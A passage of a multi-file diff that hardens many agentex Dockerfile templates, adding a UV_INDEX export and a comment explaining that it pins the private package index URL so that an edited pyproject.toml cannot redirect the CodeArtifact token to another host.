BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 index 36d2cd787..16fcfa13a 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 @@ -48,11 +48,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -66,6 +76,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 index d926486ca..8b6adeab3 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 @@ -48,11 +48,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -66,6 +76,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 index 207b1c3ca..aeefd592e 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 @@ -56,11 +56,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -74,6 +84,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 index cafbf5865..1f96a64d2 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 @@ -56,11 +56,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -74,6 +84,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 index 59e11795b..65202d3cd 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 @@ -50,11 +50,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -68,6 +78,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 index bf0e1e3d5..bb1a726c5 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 @@ -50,11 +50,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -68,6 +78,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 index bf0e1e3d5..bb1a726c5 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 @@ -50,11 +50,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in 